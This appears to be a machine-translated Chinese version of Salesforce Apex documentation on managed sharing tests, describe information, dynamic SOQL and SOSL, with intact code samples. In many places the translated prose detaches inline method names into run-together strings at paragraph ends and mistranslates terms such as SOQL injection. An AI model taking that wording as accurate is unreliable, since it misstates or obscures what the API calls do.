此示例插入 5 个作业记录并调用已实现的批处理作业 在上一示例的 Batch 类中。此示例需要一个自定义对象 称为 Job,其中有两个与用户记录关联的查找字段,称为 Hiring_Manager和招聘人员。此外,作业自定义对象应具有两个共享 添加了称为Hiring_Manager和招聘人员的原因。在运行此测试之前,请将 作业到专用的组织范围默认共享。请注意,由于电子邮件 不是从测试发送的,并且因为批处理类是由测试调用的 方法,在这种情况下不会发送电子邮件通知。

@isTest
private class JobSharingTester {
   
    // Test for the JobSharingRecalc class    
    static testMethod void testApexSharing(){
       // Instantiate the class implementing the Database.Batchable interface.     
        JobSharingRecalc recalc = new JobSharingRecalc();
        
        // Select users for the test.
        List<User> users = [SELECT Id FROM User WHERE IsActive = true LIMIT 2];
        ID User1Id = users[0].Id;
        ID User2Id = users[1].Id;
        
        // Insert some test job records.                 
        List<Job__c> testJobs = new List<Job__c>();
        for (Integer i=0;i<5;i++) {
        Job__c j = new Job__c();
            j.Name = 'Test Job ' + i;
            j.Recruiter__c = User1Id;
            j.Hiring_Manager__c = User2Id;
            testJobs.add(j);
        }
        insert testJobs;
        
        Test.startTest();
        
        // Invoke the Batch class.
        String jobId = Database.executeBatch(recalc);
        
        Test.stopTest();
        
        // Get the Apex job and verify there are no errors.
        AsyncApexJob aaj = [Select JobType, TotalJobItems, JobItemsProcessed, Status, 
                            CompletedDate, CreatedDate, NumberOfErrors 
                            from AsyncApexJob where Id = :jobId];
        System.assertEquals(0, aaj.NumberOfErrors);
      
        // This query returns jobs and related sharing records that were inserted       
        // by the batch job's execute method.     
        List<Job__c> jobs = [SELECT Id, Hiring_Manager__c, Recruiter__c, 
            (SELECT Id, ParentId, UserOrGroupId, AccessLevel, RowCause FROM Shares 
            WHERE (RowCause = :Schema.Job__Share.rowCause.Recruiter__c OR 
            RowCause = :Schema.Job__Share.rowCause.Hiring_Manager__c))
            FROM Job__c];       
        
        // Validate that Apex managed sharing exists on jobs.     
        for(Job__c job : jobs){
            // Two Apex managed sharing records should exist for each job
            // when using the Private org-wide default. 
            System.assert(job.Shares.size() == 2);
            
            for(Job__Share jobShr : job.Shares){
               // Test the sharing record for hiring manager on job.             
                if(jobShr.RowCause == Schema.Job__Share.RowCause.Hiring_Manager__c){
                    System.assertEquals(jobShr.UserOrGroupId,job.Hiring_Manager__c);
                    System.assertEquals(jobShr.AccessLevel,'Read');
                }
                // Test the sharing record for recruiter on job.
                else if(jobShr.RowCause == Schema.Job__Share.RowCause.Recruiter__c){
                    System.assertEquals(jobShr.UserOrGroupId,job.Recruiter__c);
                    System.assertEquals(jobShr.AccessLevel,'Edit');
                }
            }
        }
    }
}

关联用于 重新计算

用于重新计算的 Apex 类必须与自定义对象相关联。要将 Apex 托管共享重新计算类与自定义对象相关联,请执行以下操作:

  1. 从自定义对象的管理设置中,转到 Apex Sharing 重新计算。
  2. 选择重新计算此对象的 Apex 共享的 Apex 类。 您选择的类必须实现接口。您不能关联相同的 Apex 类多次使用同一个自定义对象。Database.Batchable
  3. 点击保存

ref

动态Apex

Dynamic Apex 通过为开发人员提供 能够:

  • 访问 sObject 和字段描述信息描述信息提供有关 sObject 和字段属性的元数据信息。 例如,sObject 的描述信息包括 该类型的 sObject 支持创建或取消删除等操作, sObject 的名称和标签、sObject 的字段和子对象, 等等。字段的描述信息包括 字段有默认值,是否为计算字段,类型 的领域,依此类推。请注意,描述信息提供 有关组织中对象的信息,而不是个人的信息 记录。
  • 访问 Salesforce 应用程序信息您可以获取以下描述信息 Salesforce 用户界面中提供的标准和自定义应用程序。每个应用对应一个 选项卡的集合。描述应用的信息包括应用的标签、命名空间和选项卡。 选项卡的描述信息包括与选项卡关联的 sObject、选项卡图标和 颜色。
  • 编写动态 SOQL 查询、动态 SOSL 查询和动态 DML动态 SOQL 和 SOSL 查询提供了将 SOQL 或 SOSL 作为 字符串,而动态 DML 提供了创建记录的能力 动态,然后使用 DML 将其插入数据库。使用动态 SOQL、SOSL 和 DML, 应用程序可以精确地针对组织以及用户的 权限。 这对于从以下位置安装的应用程序非常有用 AppExchange。
  1. 了解 Apex Describe 信息
  2. 使用字段令牌
  3. 了解描述信息权限
  4. 使用 Schema 方法描述 sObjects
  5. 使用架构方法描述选项卡
  6. 访问所有 sObject
  7. 访问与 sObject 关联的所有数据类别
  8. 动态 SOQL
  9. 动态 SOSL
  10. 动态 DML

了解 Apex Describe 信息

可以使用标记或 Schema 方法描述 sObjects。describeSObjects

Apex 提供了两种数据结构和一种用于 sObject 和字段描述信息的方法:

  • 令牌 – 对 sObject 或字段的轻量级、可序列化引用 在编译时进行验证。这用于令牌描述。
  • 方法 – 类中对一个或多个执行描述的方法 sObject 类型。describeSObjectsSchema
  • Describe result – 包含 s对象或字段。Describe 结果对象不可序列化,在运行时进行验证。 在执行描述时,将返回此结果对象,使用 sObject 标记或 方法。Schema.DescribeSObjectResultdescribeSObjects

使用令牌描述 sObject

这很容易 从标记移动到其描述结果,反之亦然。sObject 和字段标记都具有 返回描述结果的方法 对于该令牌。在描述结果中,和方法 分别返回 sObject 和 field 的标记。getDescribegetSObjectTypegetSObjectField

因为令牌是轻量级的, 使用它们可以使您的代码更快、更高效。例如,使用 sObject 或字段,当您确定代码的 sObject 或字段的类型时 需要使用。可以使用相等运算符 () 比较令牌,以确定 sObject 是否为 Account 对象,因为 example,或者字段是 Name 字段还是自定义计算字段。==

以下代码提供了如何使用令牌和描述结果的一般示例 访问有关 sObject 和字段的信息 性能:

// Create a new account as the generic type sObject
sObject s = new Account();

// Verify that the generic sObject is an Account sObject
System.assert(s.getsObjectType() == Account.sObjectType);

// Get the sObject describe result for the Account object
Schema.DescribeSObjectResult dsr = Account.sObjectType.getDescribe();

// Get the field describe result for the Name field on the Account object
Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.Name;

// Verify that the field token is the token for the Name field on an Account object
System.assert(dfr.getSObjectField() == Account.Name);

// Get the field describe result from the token
dfr = dfr.getSObjectField().getDescribe();

以下算法显示了您如何 可以在 Apex 中使用描述信息:

  1. 为组织中的 sObject 生成令牌列表或映射(请参阅访问所有 sObject。
  2. 确定需要访问的 sObject。
  3. 生成 sObject 的描述结果。
  4. 如有必要,请为 sObject 生成字段标记的映射(请参阅访问所有字段描述结果以获取 sObject。
  5. 为代码需要访问的字段生成描述结果。

使用 sObject 令 牌

SObjects,如 Account 和 MyCustomObject__c,充当具有特殊 static 的静态类 用于访问令牌和描述结果信息的方法和成员变量。您必须 在编译时显式引用 sObject 和字段名称以获取对 describe 的访问权限 结果。

若要访问 sObject 的令牌,请使用下列方法之一:

  • 访问 sObject 上的成员变量 类型,例如 Account。sObjectType
  • 在 sObject 上调用该方法 describe result、sObject 变量、列表或映射。getSObjectType

Schema.SObjectType是 sObject 的数据类型 令 牌。

在以下示例中,返回 Account sObject 的令牌:

Schema.sObjectType t = Account.sObjectType;

以下命令还返回帐户 sObject 的令牌:

Account a = new Account();
Schema.sObjectType t = a.getSObjectType();

此示例可用于确定 sObject 或 sObject 列表是否属于 特殊类型:

// Create a generic sObject variable s
SObject s = Database.query('SELECT Id FROM Account LIMIT 1');

// Verify if that sObject variable is an Account token
System.assertEquals(s.getSObjectType(), Account.sObjectType);

// Create a list of generic sObjects 
List<sObject> sobjList = new Account[]{};

// Verify if the list of sObjects contains Account tokens
System.assertEquals(sobjList.getSObjectType(), Account.sObjectType);

某些标准 sObject 具有一个名为 的字段,例如 AssignmentRule、QueueSObject 和 RecordType。对于这些类型 的 sObjects,请始终使用 检索令牌。例如,如果使用该属性,则返回该字段。sObjectTypegetSObjectTypeRecordType.sObjectType

使用 获取 sObject 描述结果 令 牌

要访问 sObject,请使用以下方法之一:

  • 在 sObject 上调用该方法 令 牌。getDescribe
  • 将 Schema 静态变量与 sObject 的名称。例如。sObjectTypeSchema.sObjectType.Lead

Schema.DescribeSObjectResult是数据 type 作为 sObject 描述结果。

下面的示例对 sObject 使用该方法 令 牌:getDescribe

Schema.DescribeSObjectResult dsr = Account.sObjectType.getDescribe();

这 以下示例使用 Schema static 成员 变量:

sObjectType

Schema.DescribeSObjectResult dsr = Schema.SObjectType.Account;

为 有关 sObject 描述结果可用的方法的更多信息,请参阅 DescribeSObjectResultClass

使用字段令牌

若要访问字段的令牌,请使用下列方法之一:

  • 访问 sObject 静态类型的静态成员变量名称,例如 .Account.Name
  • 在字段上调用方法 描述结果。getSObjectField

字段 token 使用数据类型 。Schema.SObjectField

在以下示例中,为 Account 对象的字段返回字段 token:Description

Schema.SObjectField fieldToken = Account.Description;

在以下示例中,字段 token 是从字段 describe result 返回的:

// Get the describe result for the Name field on the Account object
Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.Name;

// Verify that the field token is the token for the Name field on an Account object
System.assert(dfr.getSObjectField() == Account.Name);

// Get the describe result from the token
dfr = dfr.getSObjectField().getDescribe();

注意

字段令牌不适用于个人帐户。如果你 访问 出现异常错误。相反,将字段名称指定为字符串。Schema.Account.fieldname

使用字段描述 结果

要访问 字段中,请使用以下方法之一:

  • 在字段上调用方法 令 牌。getDescribe
  • 访问 sObject 的成员变量 具有字段成员变量(如 、 等)的令牌。fieldsNameBillingCity

字段 describe result 使用数据类型 。Schema.DescribeFieldResult

下面的示例使用该方法:getDescribe

Schema.DescribeFieldResult dfr = Account.Description.getDescribe();

这 示例使用 Member 变量方法:fields

Schema.DescribeFieldResult dfr = Schema.SObjectType.Account.fields.Name;

在上面的示例中,系统使用特殊解析来验证 最终成员变量 () 对 在编译时指定的 sObject。当解析器找到成员变量时,它会向后查找 sObject 的名称 ().它验证字段名称 跟在 Member 变量后面是合法的。 成员变量仅在 这种方式。NamefieldsAccountfieldsfields

注意

不要使用成员 变量,而不使用字段成员变量名称或方法。有关详细信息,请参阅下一节。fieldsgetMapgetMap

查看更多 有关字段 describe result 可用的方法的信息,请参阅 DescribeFieldResultClass。

访问所有字段描述结果 对于 sObject

使用字段 describe result 的方法返回一个映射,该映射表示 所有字段名称(键)和字段标记(值)之间的关系 s对象。getMap

以下示例生成一个映射,该映射可用于通过以下方式访问字段 名字:

Map<String, Schema.SObjectField> fieldMap = Schema.SObjectType.Account.fields.getMap();

注意

这 此映射的值类型不是字段描述结果。使用描述结果需要 系统资源过多。相反,它是一个令牌映射,您可以使用它来查找 适当的字段。确定字段后,生成 它。

该地图具有以下特征:

  • 它是动态的,也就是说,它是在运行时在该 sObject 的字段上生成的。
  • 所有字段名称均不区分大小写。
  • 密钥根据需要使用命名空间。
  • 这些键反映字段是否为自定义对象。

字段描述注意事项

描述字段时,请注意以下事项。

  • 从已安装的托管包中执行的字段描述将返回 即使未在安装组织中启用 Chatter,也会使用 Chatter 字段。这不是 如果字段 describe 是从不在已安装的托管类中执行的,则为 true 包。
  • 当您从 在 Apex 类中,无论 保存类的 API 版本。如果字段类型,例如地理位置字段 type,仅在最新的 API 版本中可用,地理位置字段的组件是 即使该类保存在早期的 API 版本中,也返回。

版本化行为更改

在 API 版本 34.0 及更高版本中,自定义 SObjectType 上的 Schema.DescribeSObjectResult 包括以命名空间为前缀的映射键,即使命名空间是当前命名空间的命名空间 执行代码。如果您使用多个命名空间并生成运行时描述数据, 请确保代码使用命名空间前缀正确访问密钥。

了解描述信息权限

Apex 类和触发器在系统模式下运行。类和触发器对 动态查找组织中可用的任何 sObject。您可以生成所有 组织的 sObjects,而不考虑当前用户的权限,除非您正在执行 匿名顶点。

当您在匿名块中执行描述调用时,用户权限很重要。因此, 如果对正在运行的用户的访问受到限制,则并非所有 sObject 和字段都可以查找。为 例如,如果您在匿名区块中描述帐户字段,并且您无权访问所有字段 字段,但并非所有字段都会返回。但是,对于同一调用,将返回所有字段 顶点类。

有关详细信息,请参阅“关于包中的 API 和动态顶点访问” Salesforce 帮助。

使用 Schema 方法描述 sObjects

作为使用令牌的替代方法,可以通过以下方式描述 sObjects 调用 Schema 方法并传递一个或多个 sObject 类型名称 s要描述的对象。describeSObjects

此示例获取两个 sObject 的描述元数据信息 types – Account 标准对象和自定义Merchandise__c对象 对象。获取每个 sObject 的描述结果后,这 example 将返回的信息写入调试输出,例如 作为 sObject 标签,字段数,是否为自定义对象 或不,以及子关系的数量。

// sObject types to describe
String[] types = new String[]{'Account','Merchandise__c'};

// Make the describe call
Schema.DescribeSobjectResult[] results = Schema.describeSObjects(types);

System.debug('Got describe information for ' + results.size() + ' sObjects.');

// For each returned result, get some info
for(Schema.DescribeSobjectResult res : results) {
    System.debug('sObject Label: ' + res.getLabel());
    System.debug('Number of fields: ' + res.fields.getMap().size());
    System.debug(res.isCustom() ? 'This is a custom object.' : 'This is a standard object.');
    // Get child relationships
    Schema.ChildRelationship[] rels = res.getChildRelationships();
    if (rels.size() > 0) {
        System.debug(res.getName() + ' has ' + rels.size() + ' child relationships.');
    }
}

使用架构方法描述选项卡

您可以获取有关应用程序及其选项卡的元数据信息 Salesforce 用户界面,通过在 Apex 中执行描述调用。此外,您可以获得更多 有关每个选项卡的详细信息。分别使用 Schema 方法和 中的方法。describeTabsgetTabsSchema.DescribeTabResult

此示例演示如何获取每个应用的选项卡集。然后,该示例获取 tab 描述 Sales 应用的元数据信息。对于每个选项卡,元数据信息 包括图标 URL、选项卡是否自定义以及颜色等。这 选项卡描述信息将写入调试输出。

// Get tab set describes for each app
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.describeTabs();

// Iterate through each tab set describe for each app and display the info
for(DescribeTabSetResult tsr : tabSetDesc) {
    String appLabel = tsr.getLabel();
    System.debug('Label: ' + appLabel);
    System.debug('Logo URL: ' + tsr.getLogoUrl());
    System.debug('isSelected: ' + tsr.isSelected());
    String ns = tsr.getNamespace();
    if (ns == '') {
        System.debug('The ' + appLabel + ' app has no namespace defined.');
    }
    else {
        System.debug('Namespace: ' + ns);
    }
    
    // Display tab info for the Sales app
    if (appLabel == 'Sales') {
        List<Schema.DescribeTabResult> tabDesc = tsr.getTabs();
        System.debug('-- Tab information for the Sales app --');
        for(Schema.DescribeTabResult tr : tabDesc) {
            System.debug('getLabel: ' + tr.getLabel());
            System.debug('getColors: ' + tr.getColors());
            System.debug('getIconUrl: ' + tr.getIconUrl());
            System.debug('getIcons: ' + tr.getIcons());
            System.debug('getMiniIconUrl: ' + tr.getMiniIconUrl());
            System.debug('getSobjectName: ' + tr.getSobjectName());
            System.debug('getUrl: ' + tr.getUrl());
            System.debug('isCustom: ' + tr.isCustom());
        }
    }
}

// Example debug statement output
// DEBUG|Label: Sales
// DEBUG|Logo URL: https://MyDomainName.my.salesforce.com/img/seasonLogos/2014_winter_aloha.png
// DEBUG|isSelected: true
// DEBUG|The Sales app has no namespace defined.// DEBUG|-- Tab information for the Sales app --
// (This is an example debug output for the Accounts tab.)
// DEBUG|getLabel: Accounts
// DEBUG|getColors: (Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme4;], 
//       Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme3;], 
//       Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme2;])
// DEBUG|getIconUrl: https://MyDomainName.my.salesforce.com/img/icon/accounts32.png
// DEBUG|getIcons: (Schema.DescribeIconResult[getContentType=image/png;getHeight=32;getTheme=theme3;
//       getUrl=https://MyDomainName.my.salesforce.com/img/icon/accounts32.png;getWidth=32;], 
//       Schema.DescribeIconResult[getContentType=image/png;getHeight=16;getTheme=theme3;
//       getUrl=https://MyDomainName.my.salesforce.com/img/icon/accounts16.png;getWidth=16;])
// DEBUG|getMiniIconUrl: https://MyDomainName.my.salesforce.com/img/icon/accounts16.png
// DEBUG|getSobjectName: Account
// DEBUG|getUrl: https://MyDomainName.my.salesforce.com/001/o
// DEBUG|isCustom: false

访问所有 sObject

使用 Schema 方法返回一个映射,该映射表示 所有 sObject 名称(键)到 sObject 令牌(值)。例如:getGlobalDescribe

Map<String, Schema.SObjectType> gd = Schema.getGlobalDescribe();

该地图具有以下特征:

  • 它是动态的,也就是说,它是在运行时在 sObject 上生成的 当前可用于组织,具体取决于权限。
  • sObject 名称不区分大小写。
  • 键以命名空间为前缀(如果有)。*
  • 这些键反映 sObject 是否为自定义对象。

*从使用 Salesforce API 版本 28.0 保存的 Apex 开始,映射中返回的键始终以 命名空间(如果有)的运行代码。例如,如果进行调用的代码块位于命名空间 NS1 中,并且自定义 名为 MyObject__c 的对象位于同一命名空间中,则返回的键为 。对于使用早期 API 版本保存的 Apex, 仅当代码块的命名空间和 sObject 的命名空间时,key 才包含命名空间 是不同的。例如,如果生成映射的代码块位于命名空间 N1 中,并且 sObject 也在 N1 中,映射中的键表示为 。但是,如果代码块位于命名空间 N1 中,并且 sObject 位于 命名空间 N2,键为 .getGlobalDescribegetGlobalDescribeNS1__MyObject__cMyObject__cN2__MyObject__c

标准 sObject 没有命名空间前缀。

注意

如果从已安装的托管包调用该方法,它将返回 sObject Chatter sObject 的名称和标记,例如 NewsFeed 和 UserProfileFeed, 即使未在安装组织中启用 Chatter。这 如果该方法是从不在已安装的托管包中的类调用的,则不为 true。getGlobalDescribegetGlobalDescribe

访问关联的所有数据类别 使用 sObject

使用 和 方法返回与特定对象关联的类别:describeDataCategoryGroupsdescribeDataCategoryGroupStructures

  1. 返回与所选对象关联的所有类别组(请参见)。describeDataCategoryGroups(sObjectNames)
  2. 从返回的映射中,获取要进一步扩展的类别组名称和 sObject 名称 询问(请参阅 DescribeDataCategoryGroupResult 类)。
  3. 指定类别组和关联的对象,然后检索 此对象可用的类别(请参见)。describeDataCategoryGroupStructures

该方法返回 可用于您指定的类别组中的对象的类别。对于其他 有关数据类别的信息,请参阅 Salesforce Online 中的“使用数据类别” 帮助。describeDataCategoryGroupStructures

在以下示例中,该方法返回所有类别组 与 Article 和 Question 对象相关联。该方法返回所有类别 可用于“区域”类别组中的文章和问题。对于其他 有关文章和问题的信息,请参阅 Salesforce 联机帮助。describeDataCategoryGroupSampledescribeDataCategoryGroupStructures

若要使用以下示例,必须:

  • 启用 Salesforce Knowledge。
  • 启用答案功能。
  • 创建名为“区域”的数据类别组。
  • 将 Regions 指定为 Answers 要使用的数据类别组。
  • 确保将“区域”数据类别组分配给 Salesforce Knowledge。

有关创建数据类别组的详细信息,请参阅“创建和修改类别组”中的 Salesforce 联机帮助。有关答案的更多信息,请参阅 Salesforce 联机帮助。

public class DescribeDataCategoryGroupSample {
   public static List<DescribeDataCategoryGroupResult> describeDataCategoryGroupSample(){
      List<DescribeDataCategoryGroupResult> describeCategoryResult;
      try {
         //Creating the list of sobjects to use for the describe
         //call
         List<String> objType = new List<String>();

         objType.add('KnowledgeArticleVersion');
         objType.add('Question');

         //Describe Call
         describeCategoryResult = Schema.describeDataCategoryGroups(objType);
   
         //Using the results and retrieving the information
         for(DescribeDataCategoryGroupResult singleResult : describeCategoryResult){
            //Getting the name of the category
            singleResult.getName();

            //Getting the name of label
            singleResult.getLabel();

            //Getting description
            singleResult.getDescription();

            //Getting the sobject
            singleResult.getSobject();
         }         
      } catch(Exception e){
      }
      
      return describeCategoryResult;
   }
}
public class DescribeDataCategoryGroupStructures {
   public static List<DescribeDataCategoryGroupStructureResult> 
   getDescribeDataCategoryGroupStructureResults(){
      List<DescribeDataCategoryGroupResult> describeCategoryResult;
      List<DescribeDataCategoryGroupStructureResult> describeCategoryStructureResult;
      try {
         //Making the call to the describeDataCategoryGroups to
         //get the list of category groups associated
         List<String> objType = new List<String>();
         objType.add('KnowledgeArticleVersion');
         objType.add('Question');
         describeCategoryResult = Schema.describeDataCategoryGroups(objType);
         
         //Creating a list of pair objects to use as a parameter
         //for the describe call
         List<DataCategoryGroupSobjectTypePair> pairs = 
            new List<DataCategoryGroupSobjectTypePair>();
         
         //Looping throught the first describe result to create
         //the list of pairs for the second describe call
         for(DescribeDataCategoryGroupResult singleResult : 
         describeCategoryResult){
            DataCategoryGroupSobjectTypePair p =
               new DataCategoryGroupSobjectTypePair();
            p.setSobject(singleResult.getSobject());
            p.setDataCategoryGroupName(singleResult.getName());
            pairs.add(p);
         }
         
         //describeDataCategoryGroupStructures()
         describeCategoryStructureResult = 
            Schema.describeDataCategoryGroupStructures(pairs, false);

         //Getting data from the result
         for(DescribeDataCategoryGroupStructureResult singleResult : describeCategoryStructureResult){
            //Get name of the associated Sobject
            singleResult.getSobject();

            //Get the name of the data category group
            singleResult.getName();

            //Get the name of the data category group
            singleResult.getLabel();

            //Get the description of the data category group
            singleResult.getDescription();

            //Get the top level categories
            DataCategory [] toplevelCategories = 
               singleResult.getTopCategories();
            
            //Recursively get all the categories
            List<DataCategory> allCategories = 
               getAllCategories(toplevelCategories);

            for(DataCategory category : allCategories) {
               //Get the name of the category
               category.getName();

               //Get the label of the category
               category.getLabel();

               //Get the list of sub categories in the category
               DataCategory [] childCategories = 
                  category.getChildCategories();
            }
         }
      } catch (Exception e){
      }
      return describeCategoryStructureResult;
    }
    
   private static DataCategory[] getAllCategories(DataCategory [] categories){
      if(categories.isEmpty()){
         return new DataCategory[]{};
      } else {
         DataCategory [] categoriesClone = categories.clone();
         DataCategory category = categoriesClone[0];
         DataCategory[] allCategories = new DataCategory[]{category};
         categoriesClone.remove(0);
         categoriesClone.addAll(category.getChildCategories());
         allCategories.addAll(getAllCategories(categoriesClone));
         return allCategories;
      }
   }
}

测试访问权限 到与 sObject 关联的所有数据类别

下面的示例测试前面所示的方法。它确保返回的类别组 和关联的对象是正确的。describeDataCategoryGroupSample

@isTest
private class DescribeDataCategoryGroupSampleTest {
   public static testMethod void describeDataCategoryGroupSampleTest(){
      List<DescribeDataCategoryGroupResult>describeResult =
                 DescribeDataCategoryGroupSample.describeDataCategoryGroupSample();
      
      //Assuming that you have KnowledgeArticleVersion and Questions
      //associated with only one category group 'Regions'.
      System.assert(describeResult.size() == 2,
           'The results should only contain two results: ' + describeResult.size());
      
      for(DescribeDataCategoryGroupResult result : describeResult) {
         //Storing the results
         String name = result.getName();
         String label = result.getLabel();
         String description = result.getDescription();
         String objectNames = result.getSobject();
         
         //asserting the values to make sure
         System.assert(name == 'Regions',
         'Incorrect name was returned: ' + name);
         System.assert(label == 'Regions of the World',
         'Incorrect label was returned: ' + label);
         System.assert(description == 'This is the category group for all the regions',
         'Incorrect description was returned: ' + description);
         System.assert(objectNames.contains('KnowledgeArticleVersion') 
                       || objectNames.contains('Question'),
                       'Incorrect sObject was returned: ' + objectNames);
      }
   }
}

此示例测试该方法。它确保 返回的类别组、类别和关联的对象是 正确。describeDataCategoryGroupStructures

@isTest
private class DescribeDataCategoryGroupStructuresTest {
   public static testMethod void getDescribeDataCategoryGroupStructureResultsTest(){
      List<Schema.DescribeDataCategoryGroupStructureResult> describeResult =
         DescribeDataCategoryGroupStructures.getDescribeDataCategoryGroupStructureResults();
      
      System.assert(describeResult.size() == 2,
            'The results should only contain 2 results: ' + describeResult.size());
            
      //Creating category info
      CategoryInfo world = new CategoryInfo('World', 'World');
      CategoryInfo asia = new CategoryInfo('Asia', 'Asia');
      CategoryInfo northAmerica = new CategoryInfo('NorthAmerica',
                                                  'North America');
      CategoryInfo southAmerica = new CategoryInfo('SouthAmerica',
                                                  'South America');
      CategoryInfo europe = new CategoryInfo('Europe', 'Europe');
      
      List<CategoryInfo> info = new CategoryInfo[] {
        asia, northAmerica, southAmerica, europe
     };
      
      for (Schema.DescribeDataCategoryGroupStructureResult result : describeResult) {
         String name = result.getName();
         String label = result.getLabel();
         String description = result.getDescription();
         String objectNames = result.getSobject();
         
         //asserting the values to make sure
         System.assert(name == 'Regions', 
         'Incorrect name was returned: ' + name);
         System.assert(label == 'Regions of the World',
         'Incorrect label was returned: ' + label);
         System.assert(description == 'This is the category group for all the regions',
         'Incorrect description was returned: ' + description);
         System.assert(objectNames.contains('KnowledgeArticleVersion') 
                    || objectNames.contains('Question'),
                       'Incorrect sObject was returned: ' + objectNames);
         
         DataCategory [] topLevelCategories = result.getTopCategories();
         System.assert(topLevelCategories.size() == 1,
         'Incorrect number of top level categories returned: ' + topLevelCategories.size());
         System.assert(topLevelCategories[0].getLabel() == world.getLabel() &&
                       topLevelCategories[0].getName() == world.getName());
         
         //checking if the correct children are returned
         DataCategory [] children = topLevelCategories[0].getChildCategories();
         System.assert(children.size() == 4,
         'Incorrect number of children returned: ' + children.size());
         for(Integer i=0; i < children.size(); i++){
            System.assert(children[i].getLabel() == info[i].getLabel() &&
                          children[i].getName() == info[i].getName());
         }
      }
      
   }
   
   private class CategoryInfo {      
      private final String name;
      private final String label;
            
      private CategoryInfo(String n, String l){
         this.name = n;
         this.label = l;
      }
      
      public String getName(){
         return this.name;
      }
      
      public String getLabel(){
         return this.label;
      }
   }
}

动态 SOQL

动态 SOQL 是指在运行时使用 Apex 创建 SOQL 字符串 法典。动态 SOQL 使您能够创建更灵活的应用程序。例如,您 可以根据最终用户的输入创建搜索,或使用不同的字段更新记录 名字。

若要在运行时创建动态 SOQL 查询,请通过以下方法之一使用 or 方法。Database.queryDatabase.queryWithBinds

  • 当查询返回单个 sObject 时,返回单个 sObject 记录:sObject s = Database.query(string);
  • 当查询返回多个 sObject 时,返回 sObject 的列表 记录:List<sObject> sobjList = Database.query(string);
  • 使用 bind 的映射返回 sObject 列表 变量:List<sObject> sobjList = Database.queryWithBinds(string, bindVariablesMap, accessLevel);

可以使用 和 方法 任何可以使用内联 SOQL 查询的地方,例如在常规赋值语句和循环中。结果在 与静态 SOQL 查询的处理方式大致相同。Database.queryDatabase.queryWithBindsfor

使用 API 版本 55.0 及更高版本,作为数据库操作用户模式的一部分 功能,请使用该参数在 用户或系统模式。该参数指定 方法在系统模式下运行 () 或用户模式 ()。在系统模式下, 忽略当前用户的对象级和字段级权限,记录 共享规则由类共享关键字控制。在用户模式下, 当前用户的对象权限、字段级安全性和共享规则是 执行。系统模式是默认模式。accessLevelaccessLevelAccessLevel.SYSTEM_MODEAccessLevel.USER_MODE

动态 SOQL 结果可以指定为具体的 sObject,例如 Account 或 MyCustomObject__c,或作为泛型 sObject 数据类型。在运行时,系统 验证查询的类型是否与变量的声明类型匹配。如果 query 未返回正确的 sObject 类型,则会引发运行时错误。因此 您不必从泛型 sObject 转换为具体的 sObject。

动态 SOQL 查询具有与静态查询相同的调控器限制。查看更多 有关调控器限制的信息,请参阅执行 调速器和限制。

有关 SOQL 查询语法的完整说明,请参阅 Salesforce 对象查询语言 (索克尔)在 SOQL 和 SOSL 参考中。

动态 SOQL 注意事项

使用 时,可以在动态 SOQL 查询字符串中使用简单的绑定变量。以下是 允许:

Database.query

String myTestString = 'TestName';
List<sObject> sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE Name = :myTestString');

然而 与内联 SOQL 不同,不能在查询字符串中使用绑定变量字段。以下示例 不受支持,并导致错误。

Database.queryVariable does not exist

MyCustomObject__c myVariable = new MyCustomObject__c(field1__c ='TestField');
List<sObject> sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE field1__c = :myVariable.field1__c');

你 可以改为将变量字段解析为字符串,并在 动态 SOQL 查询:

String resolvedField1 = myVariable.field1__c;
List<sObject> sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE field1__c =  :resolvedField1');

(API 版本 57.0 及更高版本)另一种选择是使用该方法。使用此方法,将变量绑定到 查询是直接使用键从 Map 参数解析的,而不是从 Apex 代码变量。这样就无需在 查询。此示例显示了一个 SOQL 查询,该查询将绑定变量用于 帐户名称;其值随 Map 一起传入。Database.queryWithBindsacctBinds

Map<String, Object> acctBinds = new Map<String, Object>{'acctName' => 'Acme Corporation'};

List<Account> accts = 
    Database.queryWithBinds('SELECT Id FROM Account WHERE Name = :acctName',
                            acctBinds, 
                            AccessLevel.USER_MODE);

SOQL注射液

SOQL注射是一种技术,用户通过该技术 通过传递 SOQL 语句添加到代码中。这可能发生在 Apex 代码中,只要你的 应用程序依赖于最终用户的输入来构造动态 SOQL 语句,而 没有正确处理输入。

为防止SOQL注射,请使用该方法。此方法将 转义字符 (\) 到传入的字符串中的所有单引号 来自用户。该方法确保将所有单引号视为 将字符串括起来,而不是数据库命令。escapeSingleQuotes

其他动态 SOQL 方法

本主题中的动态 SOQL 示例演示如何使用 和 方法。这些方法还使用动态 SOQL:Database.queryDatabase.queryWithBinds

  • Database.countQuery和 :返回数字 动态 SOQL 查询在执行时将返回的记录。Database.countQueryWithBinds
  • Database.getQueryLocator和 :创建批处理中使用的对象 Apex 或 视觉力。Database.getQueryLocatorWithBindsQueryLocator

动态 SOSL

动态 SOSL 是指在运行时使用 Apex 创建 SOSL 字符串 法典。动态 SOSL 使您能够创建更灵活的应用程序。例如,您 可以根据最终用户的输入创建搜索,或使用不同的 字段名称。

若要在运行时创建动态 SOSL 查询,请使用 search 方法。例如:query

List<List <sObject>> myQuery = search.query(SOSL_search_string);

下面的示例练习一个简单的 SOSL 查询字符串。

String searchquery='FIND\'Edge*\'IN ALL FIELDS RETURNING Account(id,name),Contact, Lead'; 
List<List<SObject>>searchList=search.query(searchquery);

动态 SOSL 语句的计算结果为 sObject 列表,其中每个列表包含 特定 sObject 类型的搜索结果。始终返回结果列表 其顺序与在动态 SOSL 查询中指定的顺序相同。从示例 上面,客户的结果首先是“联系人”,然后是“潜在客户”。

搜索方法可以在以下任何位置使用。 可以使用内联 SOSL 查询,例如在常规赋值语句和循环中。结果在很多 与静态 SOSL 查询的处理方式相同。queryfor

动态 SOSL 查询与静态查询具有相同的调控器限制。查看更多 有关调控器限制的信息,请参阅执行 调速器和限制。

有关 SOSL 查询语法的完整说明,请参阅 Salesforce 对象搜索语言 (SOSL)在 SOQL 和 SOSL 参考中。

使用动态 SOSL 返回代码段

